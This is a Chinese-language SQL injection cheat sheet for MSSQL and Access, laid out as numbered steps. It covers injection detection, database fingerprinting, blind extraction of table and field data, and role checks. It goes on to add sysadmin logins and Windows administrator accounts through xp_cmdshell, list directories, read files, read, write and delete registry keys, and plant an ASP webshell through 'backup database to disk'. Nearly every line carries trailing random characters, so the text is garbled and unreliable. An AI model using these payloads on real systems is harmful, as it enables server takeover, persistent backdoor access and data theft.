1.判断是否有注入;and 1=1 ;and 1=2 2,nVo^13}
2.初步判断是否是mssql ;and user>0 d'4^c,d
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3.注入参数是字符'and [查询条件] and ''=' 5V|D%t2N
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' 23F<f+2S
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5.判断数据库系统 LZ97nvK
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;and (select count(*) from sysobjects)>0 mssql o
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;and (select count(*) from msysobjects)>0 access "`aNNIG&
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 &s +DK`
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 C;u8qVI
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
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9.(1)猜字段的ascii值(access) &I&:
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 )CYm/dk
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(2)猜字段的ascii值(mssql) @+gr>a1K#
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 HG1)q\Xd
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10.测试权限结构(mssql) ^`W8>czi
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- >O{U4_j@(
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Y7|R vLWoP
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- [hLSK-K 9
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ?r~|B/]
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- WBo|0(#
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- hdi/ k!9[\
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;and 1=(select IS_MEMBER('db_owner'));-- 4CzT<cp
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11.添加mssql和系统的帐户 .L,xqd[zC
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;exec master.dbo.sp_addlogin username;-- o\_@4hXf
;exec master.dbo.sp_password null,username,password;-- bN Ub
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Ueq*R(9>
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;exec master.dbo.xp_cmdshell 'net user username password l?F&I.{J
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- (+@
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ]et4B+=i
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- -`z`K08sT
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12.(1)遍历目录 0!WF,)/T7i
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;create table dirs(paths varchar(100), id int) VDCG
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;insert dirs exec master.dbo.xp_dirtree 'c:\' W`baD!*
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;and (select top 1 paths from dirs)>0 A]fN~PR
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 0 mJvoz\j8
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(2)遍历目录 e:SBX/\j
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9:|z^r
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 H4s^&--
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 o:H^
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 )ZxDfRjL
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 d|GQZAEJEt
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13.mssql中的存储过程 #6< X
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xp_regenumvalues 注册表根键, 子键 ao4"=My*G
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 "/ N ?$
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xp_regread 根键,子键,键值名 ;7id![KI4
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;exec xp_regread XILB>o.^3
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ]_Cm 5Z7
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xp_regwrite 根键,子键, 值名, 值类型, 值 BMubN
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 7Hghn"ol
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 qOA+ao
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xp_regdeletevalue 根键,子键,值名 {FYWQ!L
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ^$8@B]*
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 j-l#n&M
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14.mssql的backup创建webshell oXC|q-(C
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use model 9((BOq
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create table cmd(str image);
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insert into cmd(str) values (''); I5nxY)v
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backup database model to disk='c:\l.asp'; [
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15.mssql内置函数 oo+i3af&7
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;and (select @@version)>0 获得Windows的版本号 m:6^yfS
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa gxKL
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;and (select user_name())>0 爆当前系统的连接用户 .<m${yU{3
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;and (select db_name())>0 得到当前连接的数据库 ;;4>vF#*
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16.简洁的webshell Abw=x4d(i
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use model `49: !M$i
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create table cmd(str image); c-`'`L^J
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insert into cmd(str) values (''); pZ`^0#Fo
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backup database model to disk='g:\wwwtest\l.asp';